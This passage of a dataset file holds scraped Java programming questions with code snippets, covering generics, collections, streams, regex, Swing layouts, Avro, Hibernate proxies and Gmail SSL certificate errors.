CAP_ROUND = 1 ; public final static int CAP_SQUARE = 2 ;,Why do Java libraries use constant ints more than enums ? +Java,How can I compare a Scala list with a Java list ? Is there some static helper method for comparison that accepts both Scala lists and Java lists ? Or is there a kind of `` lazy wrapper '' over both sorts of lists which I can then directly compare via == ?,"scala > List ( 1 , 2 , 3 , 4 , 5 ) res0 : List [ Int ] = List ( 1 , 2 , 3 , 4 , 5 ) scala > java.util.Arrays.asList ( 1 , 2 , 3 , 4 , 5 ) res1 : java.util.List [ Int ] = [ 1 , 2 , 3 , 4 , 5 ] scala > res0 == res1res2 : Boolean = false",comparing Scala lists with Java lists +Java,I always seem to be needing to cast values in the params object in order to perform a .equals but it never feels right . If i use the parseXXX methods I also have to protect myself when the value is empty . It seems like there would be a better way to handle this in a dynamic language like Groovy . Has anyone found a different way that feels more like Groovy and less like Java ? I could build a utility class to clean this up but I am looking for some built in functionality so please do n't suggest additional libraries.Example :,def intValue = ( params.intValue ) ? Integer.parseInt ( params.intValue ) : nullThings.each { thing - > if ( thing.intValue.equals ( intValue ) ) { //do stuff } },A more elegant way to cast in base groovy +Java,I executing Lua-function in async mode and I use NIOEventLoops . When I try getting the next event loop and execute Lua-function I have some exception : That is my method for getting the next event loop : That is how I executing my Lua-function : How can I avoid this exception ?,"com.aerospike.client.AerospikeException $ Connection : Error -7 from BB967EF43270008 127.0.0.1 3000 : Node BB967EF43270008 127.0.0.1 3000 event loop 5 max connections 100 would be exceeded . at com.aerospike.client.cluster.Node.getAsyncConnection ( Node.java:657 ) ~ [ aerospike-client-4.2.2.jar : ? ] at com.aerospike.client.async.NioCommand.executeCommand ( NioCommand.java:184 ) [ aerospike-client-4.2.2.jar : ? ] at com.aerospike.client.async.NioCommand.run ( NioCommand.java:146 ) [ aerospike-client-4.2.2.jar : ? ] at com.aerospike.client.async.NioEventLoop.registerCommands ( NioEventLoop.java:211 ) [ aerospike-client-4.2.2.jar : ? ] at com.aerospike.client.async.NioEventLoop.runCommands ( NioEventLoop.java:173 ) [ aerospike-client-4.2.2.jar : ? ] at com.aerospike.client.async.NioEventLoop.run ( NioEventLoop.java:156 ) [ aerospike-client-4.2.2.jar : ? ] at java.lang.Thread.run ( Thread.java:748 ) [ ? :1.8.0_181 ] private synchronized EventLoop getNextEventLoop ( ) { EventLoop next ; do { next = eventLoops.next ( ) ; } while ( next.getProcessSize ( ) > = maxConnectionsPerEventLoop ) ; return next ; } as.execute ( getNextEventLoop ( ) , new ExecuteListener ( ) { @ Override public void onSuccess ( Key key , Object obj ) { ... } @ Override public void onFailure ( AerospikeException exception ) { ... } } , writePolicy , key , `` lua-pack '' , `` funcName '' , Value.get ( binName ) , Value.get ( value ) ) ;",How to fix problem with max connections exceed ? +Java,I have an interface called Bar and a generic class Foo parameterized on a type that is a Bar : My class has a general purpose constructor that takes a Class and a Stream : I 'm trying to add a specialized constructor which is requires that its actual method parameter both is a Bar and an enum class such that I can call my general purpose constructor from the special constructor :,"class Foo < B extends Bar > { } class Foo < B extends Bar > { B [ ] bs ; Foo ( Class < B > clazz , Stream < B > stream ) { // General ctor bs = someFunctionOf ( clazz , stream ) ; } } class Foo < B extends Bar > { B [ ] bs ; Foo ( Class < B > clazz , Stream < B > stream ) { // General ctor bs = someFunctionOf ( clazz , stream ) ; } // FIX THIS -- -- + // | // ˅ Foo ( Class < Something > clazz ) { // Special ctor // Can we make this work so Something is a Bar and an enum // and we can call the other constructor like this ? this ( clazz , Arrays.stream ( clazz.getEnumConstants ( ) ) ; } }","In Java generic class , add extra generic constraints at constructor level ?" +Java,"I 'm reading `` Generics in the Java Programming Language '' by Gilad Bracha and I 'm confused about a style of declaration . The following code is found on page 8 : My point of confusion comes from the second declaration . It 's not clear to me what the purpose the < T > declaration serves in the following line : The method already has a type ( boolean ) associated with it . Why would you use the < T > and what does it tell the complier ? I think my question needs to be a bit more specific . Why would you write : vsIt 's not clear to me , what the purpose of < T > is , in the first declaration of containsAll .","interface Collection < E > { public boolean containsAll ( Collection < ? > c ) ; public boolean addAll ( Collection < ? extends E > c ) ; } interface Collection < E > { public < T > boolean containsAll ( Collection < T > c ) ; public < T extends E > boolean addAll ( Collection < T > c ) ; // hey , type variables can have bounds too ! } public < T > boolean containsAll ( Collection < T > c ) ; public < T > boolean containsAll ( Collection < T > c ) ; public boolean containsAll ( Collection < T > c ) ;",Can someone explain the declaration of these java generic methods ? +Java,"Using eclipse , when I enter the following : And position my cursor after Integer . and ask for content assist ( ^space ) I get nothing . In fact content assist does not seem to work at all inside enum constant argument lists.Is this a known problem or expected behaviour ? If the latter , why ? EDIT : I 'm wondering if this is a bug : https : //bugs.eclipse.org/bugs/show_bug.cgi ? id=395604If so I 'm amazed that such an obvious thing has n't been fixed in the past 5 years with the number of Java developers using Eclipse .",public enum Foo { A ( Integer . ) ; private final Integer integer ; private Foo ( Integer integer ) { this.integer = integer ; } },Eclipse content assist not working in enum constant parameter list +Java,"I 'm new in java 8 , I have Set of Set for example : EXPECTED RESULT : FLAT SET ... something like : But it does n't work ! Any ideas ?",Set < Set < String > > aa = new HashSet < > ( ) ; Set < String > w1 = new HashSet < > ( ) ; w1.add ( `` 1111 '' ) ; w1.add ( `` 2222 '' ) ; w1.add ( `` 3333 '' ) ; Set < String > w2 = new HashSet < > ( ) ; w2.add ( `` 4444 '' ) ; w2.add ( `` 5555 '' ) ; w2.add ( `` 6666 '' ) ; Set < String > w3 = new HashSet < > ( ) ; w3.add ( `` 77777 '' ) ; w3.add ( `` 88888 '' ) ; w3.add ( `` 99999 '' ) ; aa.add ( w1 ) ; aa.add ( w2 ) ; aa.add ( w3 ) ; // HERE I WANT To Convert into FLAT Set // with the best PERFORMANCE ! ! Set < String > flatSet = aa.stream ( ) .flatMap ( a - > setOfSet.stream ( ) .flatMap ( ins- > ins.stream ( ) .collect ( Collectors.toSet ( ) ) ) .collect ( Collectors.toSet ( ) ) ) ;,How to Convert two dimension object Set/ArrayList into one Flat Set/List using java 8 +Java,"Imagine I have the following the following 2 ClientHttpRequestInterceptors : And I add them both to the same RestTemplate : What will be the behaviour when a request is executed using this RestTemplate ? In both ClientHttpRequestInterceptors , the clientHttpRequestExecution.execute method is called . Does this mean that the request is executed twice ?","public class RequestLoggerInterceptor implements ClientHttpRequestInterceptor { @ Override public ClientHttpResponse intercept ( HttpRequest httpRequest , byte [ ] bytes , ClientHttpRequestExecution clientHttpRequestExecution ) throws IOException { log.info ( `` HTTP request : { } '' , httpRequest ) ; return clientHttpRequestExecution.execute ( httpRequest , bytes ) ; } } public class ResponseLoggerInterceptor implements ClientHttpRequestInterceptor { @ Override public ClientHttpResponse intercept ( HttpRequest httpRequest , byte [ ] bytes , ClientHttpRequestExecution clientHttpRequestExecution ) throws IOException { ClientHttpResponse response = clientHttpRequestExecution.execute ( httpRequest , bytes ) ; log.info ( `` HTTP response : { } '' , response ) ; return response } } ClientHttpRequestInterceptor requestLogger = new RequestLoggerInterceptor ( ) ; ClientHttpRequestInterceptor responseLoggerr = new ResponseLoggerInterceptor ( ) ; RestTemplate template = new RestTemplate ( ) ; template.setInterceptors ( Arrays.asList ( requestLogger , responseLogger ) ) ;",What is the behaviour of a RestTemplate when multiple ClientHttpRequestInterceptors are registered ? +Java,"I receive the following error : `` Comparison method violates its general contract ! '' when using the following comparator , however I am unable to replicate the exception using jUnit . I 'd like to know what caused this issue and how to replicate it . There are examples of others having the same problem but not how to replicate it.The code is called by using : Thanks for any help.Extra info : The error seemed to occur in the TimSort class inside Java utils and from within a method called mergeLo.Link : http : //grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8-b132/java/util/TimSort.java # TimSort.mergeLo % 28int % 2Cint % 2Cint % 2Cint % 29","public class DtoComparator implements Comparator < Dto > { @ Override public int compare ( Dto r1 , Dto r2 ) { int value = 0 ; value = r1.getOrder ( ) - r2.getOrder ( ) ; if ( value == 0 & & ! isValueNull ( r1.getDate ( ) , r2.getDate ( ) ) ) value = r1.getDate ( ) .compareTo ( r2.getDate ( ) ) ; return value ; } private boolean isValueNull ( Date date , Date date2 ) { return date == null || date2 == null ; } } Collections.sort ( dtos , new DtoComparator ( ) ) ;",Unable to replicate : `` Comparison method violates its general contract ! '' +Java,"I have a regex which checks if a string is a number . The format 's thousand separator is a white space , decimal separator is a dot . After-decimal part is optional.The issue is that at some point String.matches ( ) function stops working as expected . What worked before , does not work anymore.For example , JUnit code : The last line with `` 8 734 '' fails . When I replace it with `` 1 000 '' it continues to fail . Eventually , the same code at the same run passes in the 4th line of assertions , but fails in the last ( the new code is saved ! ) . But there are times when everything starts working just as expected until.. start failing again . So I suppose that it will be hard to reproduce my issue . Maybe there are something else that I 'm doing wrong which I have n't noticed and thus described , but I tried to make it as plain as possible.This one confuses me a lot . Does String.matches ( ) has a memory or what ? Could there be something wrong with the regular expression ? I 'm skipping ^ $ as String.matches works on whole string anyway . I have tried java.util.regex and jregex packages , the issue persisted.I 'm using JDK 6u31.Any ideas appreciated.UPD : ok , after posting this Q the code started to work and has n't fail so far . Maybe it was something with me , but this has bothered me since last week and I have been able to replicate it again and again . I will continue with my piece of code and if it will continue to work I will close this issue . Also I will try to determine what exactly caused the problem.Meanwhile , if there are someone out there who has encountered the same issue , please share your knowledge . Otherwise , this looks like an issue that can be solved by knowledge , not by debugging . To defend myself from stupidity I can say I have been programming for many years and this is the 1st ever post in forums : ) . Until now I was able to solve my problems with debugging , reading docs and searching forums of other Qs .","import junit.framework.Assert ; import org.junit.Test ; public class RegExTest { @ Test public void testThousandSeperatorRegex ( ) { String regEx = `` ( [ 0-9 ] { 1,3 } ( [ 0-9 ] { 3 } ) * ( \\. [ 0-9 ] + ) ? |\\ . [ 0-9 ] + ) '' ; Assert.assertEquals ( true , `` 1 '' .matches ( regEx ) ) ; Assert.assertEquals ( true , `` 10 '' .matches ( regEx ) ) ; Assert.assertEquals ( true , `` 100 '' .matches ( regEx ) ) ; Assert.assertEquals ( true , `` 1 000 '' .matches ( regEx ) ) ; Assert.assertEquals ( true , `` 10 000 '' .matches ( regEx ) ) ; Assert.assertEquals ( true , `` 100 000 '' .matches ( regEx ) ) ; Assert.assertEquals ( true , `` 1 000 000 '' .matches ( regEx ) ) ; Assert.assertEquals ( true , `` 10 000 000 '' .matches ( regEx ) ) ; Assert.assertEquals ( false , `` 10000.56 '' .matches ( regEx ) ) ; Assert.assertEquals ( true , `` 8 734 '' .matches ( regEx ) ) ; } }",Java regex String.matches working inconsistently +Java,"I 'm looking for a collection that would be some sort of a list that allows gaps . The objectives are : every element has some index in the collection that is meaningful.the collection is to be sparse and not continuous ; its size should return the number of proper elements , hence the workaround of initializing with null would n't work.subList method is desirable to access sublists according to index intervalsSample use case :","List < Integer > list = /* ? */ ; list.add ( 0,5 ) ; list.add ( 1,4 ) ; list.add ( 5,3 ) ; for ( Integer i : list ) { System.out.print ( i + `` `` ) ; } /* desired output : `` 5 4 3 `` */",Is there a list implementation that would allow gaps ? +Java,I need to call an external program from Java such as ImageMagick 's convert . It fails to work on Windows unless I put cmd /c before the actual command.How to avoid using cmd /c so that my code works on OS other than Windows ? Without cmd /c I get into very similar problem as described here : running imagemagick convert ( console application ) from python - that there exists a native Windows convert.exe which is being called rather than ImageMagick 's convert.exe . It seems like PATH is not picked by environment of the child process.I have double checked that my system PATH has ImageMagick directory before C : \Windows\system32 . Also the command itself runs perfectly fine when I type it into the Windows command line .,"String source = `` test.jpg '' ; String result = `` test-thumbnail.jpg '' ; ProcessBuilder builder = new ProcessBuilder ( ) .command ( `` cmd '' , `` /c '' , `` convert '' , source , `` -thumbnail '' , `` 295x '' , result ) ; Process process = builder.start ( ) ;",Cross-platform way to run external process from java ? +Java,"If somebody can explain me how to properly configure plsql java wrapper when different database users invoke same procedure to ensure correct concurrent resource access handling.DBMS and JAVA : Oracle 10g , internal JavaVM 1.4.2I have MyDatabse with 1 shema owner and 10 db users granted to connect to it : DBOWNERDBUSER01DBUSER02 ... DBUSER10I have PL/SQL wrapper procedure : my_package.getUser ( ) that wrapps UserHandler.getUser ( ) I have java class UserHandler uploaded to MyDatabase with loadjava : The idea of wrapper is to ensure proper distribution of external information system usernames to DBUSERS connected to MyDatabase with Oracle Forms Client Application.My problem is that when 5 users concurently call procedure my_package.getUser ( ) I got : DBUSER01 - call to my_package.getUser ( ) returned EIS_ORA_200 DBUSER02 - call to my_package.getUser ( ) returned EIS_ORA_200 DBUSER03 - call to my_package.getUser ( ) returned EIS_ORA_200 DBUSER04 - call to my_package.getUser ( ) returned EIS_ORA_200 DBUSER05 - call to my_package.getUser ( ) returned EIS_ORA_200I was expected that each DBUSER would get different user ( as I confirmed in my JUnit tests where multiple concurrent threads invoke UserHandler.getUser ( ) ) .Later I 've red that plsql wrapper calls can be setup in 2 maner : to share java memory space between DBUSERS orto separate memory space for each DBUSERMy conclusion is that UserHandler class is loaded for each DBUSER separately and that is why I have no use of static counter and synchronized method.How to configure MyDatabase to force calls to my_package.getUser ( ) use same java space for each DBUSER ? Thank you very much !",public class UserHandler { private static final int MAX_USER_COUNT = 10 ; private static final String USERNAME_TEMPLATE = `` EIS_ORA_20 '' ; private static int currentUserSeed = 0 ; /** * Generates EIS user according to pattern agreed by EIS developers . It * circles user pool with round-robin method ensuring concurrent calls . * * @ return valid EIS USERNAME */ synchronized public static String getUser ( ) { String newUser = USERNAME_TEMPLATE + currentUserSeed ; currentUserSeed++ ; currentUserSeed = currentUserSeed % MAX_USER_COUNT ; return newUser ; } },How to setup concurrent calls in Oracle 10g Java VM +Java,"The current Apache Avro ( 1.8.2 ) documentation mentions a `` duration '' logical type : A duration logical type annotates Avro fixed type of size 12 , which stores three little-endian unsigned integers that represent durations at different granularities of time . The first stores a number in months , the second stores a number in days , and the third stores a number in milliseconds.While this all makes sense , I ca n't find an actual implementation in either the .Net or Java libraries . The documentation for logical types clearly lists every logical type except duration ( date , time-millis , time-micros , timestamp-millis and timestamp-micros ) .The `` duration '' is defined in my Avro schema accordingly : In .Net ( excuse the VB ) , I have to manually serialise durations : When deserialising in Java , I have to convert to org.joda.time.Period by doing this : Am I missing something , or did the Avro team write a spec and forget to implement it ? It seems that this data type in particular has to be implemented without any help from the Avro API at all .","{ `` type '' : `` record '' , `` name '' : `` DataBlock '' , `` fields '' : [ { `` name '' : `` duration '' , `` type '' : { `` type '' : `` fixed '' , `` name '' : `` DataBlockDuration '' , `` size '' : 12 } } ] } Dim ret ( 11 ) As ByteDim months = BitConverter.GetBytes ( duration.Months ) Dim days = BitConverter.GetBytes ( duration.Days ) Dim milliseconds = BitConverter.GetBytes ( duration.Milliseconds ) Array.Copy ( months , 0 , ret , 0 , 4 ) Array.Copy ( days , 0 , ret , 4 , 4 ) Array.Copy ( milliseconds , 0 , ret , 8 , 4 ) IntBuffer buf = ByteBuffer .wrap ( dataBlock.getDuration ( ) .bytes ( ) ) .order ( ByteOrder.LITTLE_ENDIAN ) .asIntBuffer ( ) ; Period period = Period .months ( buf.get ( 0 ) ) .withDays ( buf.get ( 1 ) ) .withMillis ( buf.get ( 2 ) ) ;",Is there an API implementation of Avro 's `` duration '' logical type ? +Java,"When we define our interfaces in C # 4.0 , we are allowed to mark each of the generic parameters as in or out . If we try to set a generic parameter as out and that 'd lead to a problem , the compiler raises an error , not allowing us to do that.Question : If the compiler has ways of inferring what are valid uses for both covariance ( out ) and contravariance ( in ) , why do we have to mark interfaces as such ? Would n't it be enough to just let us define the interfaces as we always did , and when we tried to use them in our client code , raise an error if we tried to use them in an un-safe way ? Example : Also , is n't it what Java does in the same situation ? From what I recall , you just do something likeOr am I mixing things ? Thanks",interface MyInterface < out T > { T abracadabra ( ) ; } //works OKinterface MyInterface2 < in T > { T abracadabra ( ) ; } //compiler raises an error.//This makes me think that the compiler is cappable //of understanding what situations might generate //run-time problems and then prohibits them . IMyInterface < ? extends whatever > myInterface ; //covarianceIMyInterface < ? super whatever > myInterface2 ; //contravariance,Covariance and Contravariance inference in C # 4.0 +Java,"This is implemented as follows ( jdk1.6.0_31 ) : Why ca n't it instead be implemented as follows : Is it just style , or is there some deeper reason ? EDIT : the source code shown is from Sun/Oracle jdk ( ( jdk1.6.0_31 ) ) .","private static class ReverseComparator < T > implements Comparator < Comparable < Object > > , Serializable { // use serialVersionUID from JDK 1.2.2 for interoperabilityprivate static final long serialVersionUID = 7207038068494060240L ; public int compare ( Comparable < Object > c1 , Comparable < Object > c2 ) { return c2.compareTo ( c1 ) ; } private Object readResolve ( ) { return reverseOrder ( ) ; } } private static class ReverseComparator < T extends Comparable < T > > implements Comparator < T > , Serializable { // use serialVersionUID from JDK 1.2.2 for interoperabilityprivate static final long serialVersionUID = 7207038068494060240L ; public int compare ( T c1 , T c2 ) { return c2.compareTo ( c1 ) ; } ... }",Java : about Collections ReverseComparator implementation +Java,"How can I implement a function using Java 8 to take some number of streams , and produce a stream in which each element is a list consisting of one member of the Cartesian product of the streams ? I 've looked at this question -- that question uses an aggregator that is a BinaryOperator ( taking two items of like type and producing an item of the same type ) . I 'd like the items in the end result to be Lists rather than the types of the elements in the input streams.Concretely , supposing my desired function is called product , the following : should print : Ideally , I 'd like for this operation to be as lazy as possible . For example , if the input streams are produced by Stream.generate ( ) , it 'd be great if the suppliers of those streams were n't executed until absolutely needed .","Stream < List < String > > result = product ( Stream.of ( `` A '' , `` B '' , `` C '' , `` D '' ) , Stream.of ( `` I '' , `` J '' , `` K ) , Stream.of ( `` Y '' , `` Z '' ) ) ; result.forEach ( System.out : :println ) ; [ A , I , Y ] [ A , I , Z ] [ A , J , Y ] [ A , J , Z ] [ A , K , Y ] [ A , K , Z ] [ B , I , Y ] ... [ D , K , Y ] [ D , K , Z ]","Stream of cartesian product of other streams , each element as a List ?" +Java,"Sending an e-mail via gmail resulted in getting a PKIX certification path error . The same applied to sending an e-mail from Tomcat . After solving the issue , I hope you find this post useful . This post provides you with a step by step diagnosis for these kinds of errors . Step 1 : I tried to solve the problem using this post and another post , but that did not help me . In most cases this will be sufficient . You can use the keytool to list the certificates via 'keytool -list -keystore `` % JAVA_HOME % /jre/lib/security/cacerts '' ' I added the certificate by clicking the lock-icon of the gmail URL and exporting/importing the certificate to the cacert file of my used JDK version . I could see with keytool -list that the certificate was added . This process is described well in the ( linked ) posts . Step 2A : Was I using the right truststore ? I added the JVM arguments to direct the certificate search , like -Djavax.net.ssl.trustStore= '' ... ./jre/lib/security/cacerts '' -Djavax.net.ssl.trustStorePassword= '' changeit '' . Step 2B : When I change the value of the cacerts file to cacertsXYZ I get the error . So , this proofed that the 'cacert ' was used . Caused by : javax.mail.MessagingException : Ca n't send command to SMTP host ; nested exception is : javax.net.ssl.SSLException : java.lang.RuntimeException : Unexpected error : java.security.InvalidAlgorithmParameterException : the trustAnchors parameter must be non-emptyStep 2C : Was this also the case for my Tomcat webserver ? I verified that in the cacerts of my JRE_HOME that the certificate was there . In Tomcat my JRE_HOME is `` C : \Program Files\Java\jdk1.8.0_144\jre '' . My JAVA_HOME = C : \Program Files\Java\jdk1.8.0_144 . Step 3 : I tried with publicly available 'SSLPoke ' Java class to see whether I could connect with Google and or smtp.gmail.com . The results are in the listing : I could connect with SSL to google.com AND mail.google.com via port 443 . Step 4 : The trusted store could be corrupt ? I installed a newer version of the JDK1.8 being v152 . I restarted the application without any success . Had this to do with the difference between JDK and JRE ? Only the JRE has a lib\security\cacerts file . I tried both the SSL ( 465 ) and TLS ( 587 ) ports . Nope . Step 5 : Running openssl ( with s_client -connect smtp.gmail.com:587 -starttls smtp ) showed that my virus scanner ( Avast ) was prohibiting the sending of secure mail . So , for a moment I disabled this email-shield . That gave the following error : java.lang.RuntimeException : javax.mail.AuthenticationFailedExceptionStep 6 : After releasing the virusscanner web shield , using the openssl gave the following error : CN = Google Internet Authority G3 verify error : num=20 : unable to get local issuer certificate . OpenSSL > s_client -connect smtp.gmail.com:587 -starttls smtp CONNECTED ( 00000280 ) depth=1 C = US , O = Google Trust Services , CN = Google Internet Authority G3 verify error : num=20 : unable to get local issuer certificate ... . Allowing the 'gmail account to be accessable from weakly authenticated apps ' , a setting in your google account , that finally yielded in correctly sending the e-mail . This is the link to the security settings of your Google account . Step 7 : Sending e-mail from another server may be a problem . Authentication errors are ( still ) the result . To overcome these errors , you can do : Check whether a two-step verification is turned OFF ( Google settings ) .Allow access to the Google account from https : //accounts.google.com/b/0/DisplayUnlockCaptchaNotice : The mkyong example is the base of my simple test application .","try { SSLSocketFactory sslsocketfactory = ( SSLSocketFactory ) SSLSocketFactory.getDefault ( ) ; // **Fail** TLS - SSLSocket sslsocket = ( SSLSocket ) sslsocketfactory.createSocket ( `` smtp.gmail.com '' , 587 ) ; // **Fail** SSL - SSLSocket sslsocket = ( SSLSocket ) sslsocketfactory.createSocket ( `` smtp.gmail.com '' , 465 ) ; // **OK** SSLSocket sslsocket = ( SSLSocket ) sslsocketfactory.createSocket ( `` google.com '' , 443 ) ; // OK SSLSocket sslsocket2 = ( SSLSocket ) sslsocketfactory.createSocket ( `` mail.google.com '' , 443 ) ; InputStream in = sslsocket.getInputStream ( ) ; OutputStream out = sslsocket.getOutputStream ( ) ; out.write ( 1 ) ; // write test byte to get reaction . while ( in.available ( ) > 0 ) { System.out.print ( in.read ( ) ) ; } System.out.println ( `` Successfully connected '' ) ; } catch ( Exception exception ) { exception.printStackTrace ( ) ; }",Accessing Gmail ( or a secure website ) without getting a PKIX certification path error +Java,"I wanted to fool a bit around with random numbers , if the random generator in haskell is distributed uniformly or not , thus I wrote the following program after a few tries ( with lists being generated leading to stack overflow ) .as I got it to work ok-ish I decided to write another version - in java ( which I am not very good in ) , and expected haskell to beat it , but the java program ran about half the time compared to the haskell versionI tried to look at the profile of the haskell version - which told me that most of the work was done in the loop - no wonder ! I tried to look at the core , but I really do n't know enough to understand that.I figure that the java version , may be using more than one core - as the system used more than 100 % , when I timed it.I guess one could improve the code using unboxed Doubles/Ints , but again my knowledge of hakell is not up to that .","module Main whereimport System.Environment ( getArgs ) import Control.Applicative ( ( < $ > ) ) import System.Random ( randomRIO ) main : : IO ( ) main = do nn < - map read < $ > getArgs : : IO [ Int ] let n = if null nn then 10000 else head nn m < - loop n 0 ( randomRIO ( 0,1 ) ) putStrLn $ `` True : `` ++show ( m//n : :Double ) ++ '' , False `` ++show ( ( n-m ) //n : : Double ) return ( ) loop : : Int - > Int - > IO Double - > IO Intloop n acc x | n < 0 = return acc | otherwise = do x ' < - round < $ > x let x '' = ( x ' + acc ) in x '' ` seq ` loop ( n-1 ) x '' x ( // ) : : ( Integral a , Fractional b ) = > a - > a - > bx // y = fromIntegral x / fromIntegral y import java.util.Random ; public class MonteCarlo { public static void main ( String [ ] args ) { int n = Integer.parseInt ( args [ 0 ] ) ; Random r = new Random ( ) ; int acc = 0 ; for ( int i=0 ; i < =n ; i++ ) { acc += Math.round ( r.nextDouble ( ) ) ; } System.out.println ( `` True : `` + ( double ) acc/n+ '' , False : `` + ( double ) ( n-acc ) /n ) ; } }",Why is haskell performing worse than java +Java,"I 'm working with the java swing LayoutManager GridBagLayout , and ran into this problem . I want a layout like thisACCBB But get a layout like thisACCB A and B take up the same number of columns despite B having a gridwidth of 2 where A 's gridwidth is 1 . I do n't think there can be a vanishingly small column between A , B and C because C starts in column 1 . The problem does not occur if C 's gridwidth is 1 instead of 2 . I 'm baffled by the output.Why is this happening / how can I fix this ?","JFrame test = new JFrame ( ) ; test.setSize ( 800,800 ) ; test.setLayout ( new GridBagLayout ( ) ) ; test.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; GridBagConstraints c ; c = new GridBagConstraints ( ) ; c.gridx=0 ; c.gridy=0 ; c.fill = GridBagConstraints.BOTH ; c.weightx = 1 ; c.weighty = 1 ; test.add ( new JButton ( `` A '' ) , c ) ; c = new GridBagConstraints ( ) ; c.gridx=0 ; c.gridy=2 ; c.gridwidth=2 ; c.fill = GridBagConstraints.BOTH ; c.weightx = 1 ; c.weighty = 1 ; test.add ( new JButton ( `` B '' ) , c ) ; c = new GridBagConstraints ( ) ; c.gridx=1 ; c.gridy=0 ; c.gridwidth=2 ; c.gridheight=2 ; c.fill = GridBagConstraints.BOTH ; c.weightx = 2 ; c.weighty = 2 ; test.add ( new JButton ( `` C '' ) , c ) ; test.setVisible ( true ) ;",GridBagLayout gridwidth does n't work as expected +Java,"I 'm using LibGDX . When my app starts , it creates a Screen . When the Screen is loaded , it calls a static function Module.createStyles ( ) .This function creates a bunch of styles that will be used throughout the rest of the application ( built-in LibGDX styles like WindowStyle , LabelStyle , TextButtonStyle - all of the types of things used to create the user-interface objects ) .When the Screen is done , it calls Module.disposeStyles ( ) .Anyway , according to my Google Analytics crash reports , I randomly get a NullPointerException when trying to , for example , create a Dialog with Module.dialogStyle : ExitDialog exitDialog = new ExitDialog ( `` Are you sure ? `` , Module.dialogStyle ) ; There is absolutely no reason Module.dialogStyle should be null . The only place I null this field is in Module.disposeStyles ( ) and this function is only called in one specific place in the application ( at the very end ) .I would assume this was a bug in my code somehow even though 95 % of users never experience it . However , all 5 % that do experience it seem to be Galaxy users and I 'm not sure if that 's a coincidence : Galaxy S4Galaxy S IIIGALAXY Tab 3 liteAnyone have any ideas ? Do n't Galaxy devices have a built-in RAM manager ? Would that have something to do with this ?","Thread : GLThread 2089 , Exception : java.lang.IllegalArgumentException : style can not be null.at package.Window.setStyle ( Window.java:181 ) at package.Window. < init > ( Window.java:63 ) at package.Dialog. < init > ( Dialog.java:65 ) at package.ExitDialog $ 1. < init > ( ExitDialog.java:38 )",NullPointerExceptions only on some Samsung Galaxy devices ? +Java,"I have lost in the Jungle of Generics , please help me : ) I have something like this : As far as I think , the compiler should accept Argument since it implements RefreshableInterface . Why do I get this error ? How can I make the ProblematicClass working ? ps : if you have better title for this , please change it . I could not make up better .",public class BaseClass < TYPE > { public BaseClass ( Class < TYPE > clazz ) { } ; } public class FirstLevelClass < REFRESHABLE extends RefreshableInterface > extends BaseClass < REFRESHABLE > { public FirstLevelClass ( Class < REFRESHABLE > clazz ) { super ( clazz ) ; } ; } public class Argument < T extends AnyOtherClass > implements RefreshableInterface { public refresh ( ) { } } pulbic class ProblematicClass extends FirstLevelClass < Argument < AnyOtherClassDescendant > > { public ProblematicClass ( ) { //Compiler error : Constructor //FirstLevelClass < Argument < AnyOtherClassDescendant > > ( Class < Argument > ) is undefined super ( Argument.class ) ; } },Passing parameterized Class instance to the constructor +Java,"Intellij has this cool feature where if you type ctrl+alt+c , it copies the absolute path of the file your cursor is in to your clipboard . I want something similar , but instead of the file path I want the path to the method my cursor is on . For example , look at this class : If I put my cursor on/in doSomething ( ) , I 'd like to press some keyboard command that will put `` com.sandbox.Sandbox # doSomething ( ) '' into my clipboard . If my cursor is in the method , it would be even better if it could put this into my clipboard : `` com.sandbox.Sandbox # doSomething ( ) : line 45 '' as the line my cursor was on when I typed the command.Here 's why I want this : I often write emails/instant message other developers and need to tell them to `` look at this '' . It 's very easy to get the method name because I 'm usually already there . But then I need to scroll up to the class name to tell them the class and I lose my place on the method . I do this often enough in a day that I think I could get some benefit into automating this process .",package com.sandbox ; public class Sandbox { public void doSomething ( ) { } },Intellij-IDEA : How to put path to a method in my clipboard +Java,"I have a hierarchy in my domain model , which is described by classes : I 'm fetching objects like this : ( I 'm using spring-data ) The problem is that Hibernate returns proxy object ( what I understand ) , but the proxy is of BaseEntity , not the proper subclass ( its ' class is BaseEntity_ $ $ _jvsted9_26 , therefore entity instanceof IndividualEntity is false ) .What is interesting , not all objects are returned as proxy.I 'm fetching entities in loop ( common transaction ) , some of them are returned in normal form ( i.e . IndividualEntity/BranchEntity ) , some as proxies.If I change mechanism , so that every fetch is done in separate transaction - no proxy objects are returned at all.I know that I can unwrap that proxy ( e.g . like here ) , but what is the reason for such behaviour ( kinda strange for me ) and can I avoid it ?",@ Inheritance ( strategy = InheritanceType.SINGLE_TABLE ) public abstract class BaseEntity { @ Id private Long id ; // other fields } @ DiscriminatorValue ( value = `` Individual '' ) public class IndividualEntity extends BaseEntity { // fields } @ DiscriminatorValue ( value = `` Branch '' ) public class BranchEntity extends BaseEntity { // fields } Specification < BaseEntity > specification = createSpecification ( ) ; BaseEntity entity = baseRepository.findOne ( specification ) ;,Hibernate returns proxy for base class +Java,"I have two different implementations of a function ( eg . the size of the tree ) one which is recursive and one which uses an explicit stack . The recursive is very fast ( probably because it does not need to allocate anything on the heap ) but may cause a stack overflow on some `` rare '' inputs ( in the example of tree , it would be on any unbalanced tree ) . The explicit version is slower but is unlikely to cause a stack overflow.How safe is using the recursive implementation by default and recover from the StackOverflowError exception by executing the explicit one ? Is it considered bad practice ? Here is a small example of code :",interface Node { List < ? extends Node > getSons ( ) ; } static int sizeRec ( Node root ) { int result = 1 ; for ( Node son : root.getSons ( ) ) { result += sizeRec ( son ) ; } return result ; } static int sizeStack ( Node root ) { Stack < Node > stack = new Stack < Node > ( ) ; stack.add ( root ) ; int size = 0 ; while ( ! stack.isEmpty ( ) ) { Node x = stack.pop ( ) ; size ++ ; for ( Node son : x.getSons ( ) ) { stack.push ( son ) ; } } return size ; } static int size ( Node root ) { try { return sizeRec ( root ) ; } catch ( StackOverflowError e ) { return sizeStack ( root ) ; } },Is it safe to catch StackOverflowError in Java ? +Java,"I have two Collections , a list of warehouse ids and a collection of widgets . Widgets exist in multiple warehouses in varying quantities : Here 's an example defeinition of classes : I want to use the Streams API to create a Map , where the warehouse ID is the key , and the value is a list of Widgets with the smallest quantity at a particular warehouse . Because multiple widgets could have the same quantity , we return a list.For example , Warehouse 111 has 5 qty of Widget A , 5 of Widget B , and 8 of Widget C. Warehouse 222 has 0 qty of Widget A , 5 of Widget B , and 5 of Widget CThe Map returned would have the following entries:111 = > [ 'WidgetA ' , 'WidgetB ' ] 222 = > 